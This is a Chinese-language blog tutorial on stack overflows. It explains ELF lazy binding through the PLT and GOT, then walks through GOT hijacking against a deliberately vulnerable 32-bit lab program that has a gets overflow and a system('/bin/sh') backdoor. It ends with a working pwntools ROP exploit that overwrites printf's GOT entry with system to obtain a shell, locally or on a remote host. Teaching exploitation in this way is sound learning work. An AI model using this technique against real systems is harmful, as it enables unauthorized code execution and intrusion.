栈溢出学习(四)之Hijack GOT

前言

栈溢出学习(四),讲述Hijack GOT的基本原理及其利用ROPchain实现Hijack GOT的方法

样例代码

本文使用的代码如下

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

/*
 * compiled with:
 *  gcc    -O0     -fno-stack-protector    -no-pie     -z execstack      -m32   -g  -o lab0 lab0.c
          优化等级      关闭canary         关闭地址随机化   关闭NX      生成32位程序

 */

void shell()//backdoor
{
        printf("You got it\n");
        system("/bin/sh");
}


void hello(char* name)
{
  char buf[20];
  strcpy(buf,name);
  puts("hello!!!");
  printf("i am  %s ",buf);
}

void main(int argc,char** argv)
{
  setbuf(stdin,NULL);
  setbuf(stdout,NULL);
  char buf[100];
  puts("*****************************************");
  puts("PWN,hello world!");
  gets(buf);
  hello(buf);

}

0x06 Hijack GOT

  • 当前环境:未开启优化,关闭canary,关闭地址随机化,32位程序
  • 目标:修改某个被调用函数的地址,让其指向另一个函数

一、原理

参考《程序员的自我修养——链接、装载与库》200页,延迟绑定(PLT)

对于使用动态链接编译的程序,将会应用PLT技术,对于全局和静态的数据访问都要进行复杂的GOT定位,然后间接寻址。

可以想象一下,一个程序运行过程中,可能很多函数在程序执行完时都不会被用到,比如一些错误处理函数或者是一些用户很少用到的功能模块等,如果一开始就把所有函数都链接好实际上是一种浪费。因此ELF采用了一种叫做延迟綁定(Lazy Binding)的做法,基本的思想就是当函数第一次被用到时才进行绑定(符号査找、重定位等),如果没有用到则不进行绑定。所以程序开始执行时,模块间的函数调用都没有进行绑定,而是需要用到时才由动态链接器来负责绑定。

(1)PLT的基本原理

当我们第一次调用某个外部模块的函数时,会进入到bar@plt结构,我们来看看这个结构的伪汇编代码

bar@plt:
jmp * (bar@got)
push n 
push moduleID
jump _dl_runtime_resolve

进入到bar@plt后,我们来到第一条指令,此时因为为了实现延迟绑定,链接器在初始化阶段并没有将bar()的地址填入到bar@got中,而是将上面代码中第二条指令push n的地址填入到bar@got中。这样一来,相当于第一条指令jmp * (bar@got)什么也没干。

来到第二条指令push n,这个数字nbar这个符号引用在重定位表.rel.plt中的下标
第三条指令push moduleID,这个moduleID则是bar所在模块的ID号
第四条指令jump _dl_runtime_resolve,相当于call _dl_runtime_resolve

显然这三条指令就是做了一个函数调用 _dl_runtime_resolve(moduleID,n),通过这个函数我们就可以查找到bar的真实地址,并将真实的地址存放到bar@got中。之后,程序再次回到第一条指令处jmp * (bar@got),因为这时候bar@got中已经存放了bar真实地址,因此会跳转到bar()函数,完成我们的调用过程。

大致调用过程如下图所示。

第一次调用某函数
当我们第二次调用某个外部模块的函数时,由于bar@got中已经有了bar()的真实地址,因此这个时候就可以顺利完成跳转,不需要调用_dl_runtime_resolve()查找地址,大致调用过程如下图所示。
第二次调用某函数

在实现中的PLT结构

在实现中,PLT的结构与我们上面PLT基本原理有些许区别。
ELF将GOT拆分成两个表叫做.got.got.plt,其中

  • .got保存全局变量引用的地址
  • .got.plt保存函数引用的地址

也就是bar@got.got.plt

PLT基本结构如下图,.got.plt前三项保存的分别是.dynamic的地址,本模块ID_dl_runtime_resolve地址
在这里插入图片描述
实际的PLT基本结构代码如下,由上图可知*(GOT + 4)存放的是moduleID*(GOT + 8)存放的是_dl_runtime_resolve地址,这样一来,相当于每个函数@plt都节省了两条指令

PLT0:
push *(GOT + 4)
jump *(GOT + 8)
...
bar@plt:
jmp *(bar@GOT)
push n
jump PLT0
IDA中的PLT结构

对应着上面的理论很简单可以看懂了,不再赘述

  1. plt
    在这里插入图片描述
  2. got.plt
    在这里插入图片描述

(2)Hijack GOT基本原理

本文将介绍如何使用ROPchain来实现Hijcak GOT

根据上一部分的讲述,我们知道每次调用外部函数,我们必定会到GOT表中查询外部函数的真实地址,那么如果我们能将GOT中外部函数的地址修改为我们的目标函数,就可以实现任意函数执行的效果。

所以说,Hijack GOT需要以下两个基本条件:

  1. 需要可以实现任意地址写的函数
  2. 需要程序在完成GOT表修改后能够执行被我们修改的函数

下面来分析我们的源代码,为了方便,就不展示后门函数部分了
在这里插入图片描述
显然,程序中有gets函数可供我们完成got表的修改。那么我们修改什么函数呢?其实在当前的题目环境下,不需要考虑,我们任意选一个,选printf函数。我们可以这样布局栈空间

照例padding到ret之前,放入gets@plt,即调用gets函数,参数设为printf@got.plt

gets(printf@got.plt),将用户输入的值放到这个地址,实现Hijach GOT,在这里我们放入system()的地址即可,在完成这个操作后,调用printf@plt等价于调用system()

之后调用printf@plt,即system("/bin/sh")最终获取系统权限
在这里插入图片描述

二、exp

成功截图
在这里插入图片描述

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Date    : 2020-03-27 22:32:52
# @Author  : Pz_mstr
# @Version : python3
# @use     : exp for hijack GOT
from pwn import *
import sys

def trans(s):
	return "b'%s'" % ''.join('\\x%.2x' % x for x in s)

debug = True
binary = './lab0'
libc_name = '/home/Pz_mstr/libc/libc2.23x86'

bin = ELF(binary)
libc = ELF(libc_name)

if len(sys.argv) > 1:
	# ip port
	io = remote(sys.argv[1],int(sys.argv[2]))
else:
	#io = process([binary],env={'LD_PRELOAD':libc_name})
	io = process(binary)

if debug:
	context.log_level = 'debug'

io.recvuntil('world!')

padding1 = b'a'*32

gets_plt = bin.plt["gets"]
printf_got = bin.got["printf"]
printf_plt = bin.plt["printf"]
pop_ret = 0xf7e29f97

system_addr = bin.sym["system"]
bin_sh_addr = 0x80486cb
hijack = p32(system_addr)

rop = padding1
rop += p32(gets_plt)	
rop += p32(pop_ret)	
rop += p32(printf_got)
rop += p32(printf_plt)
rop += p32(0xdeadbeef)
rop += p32(bin_sh_addr)

io.sendline(rop)
io.sendline(hijack)

io.interactive()


总结

本文介绍了未开启保护情况下如何利用ROPchain实现Hijack GOT栈溢出攻击

  • 2
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值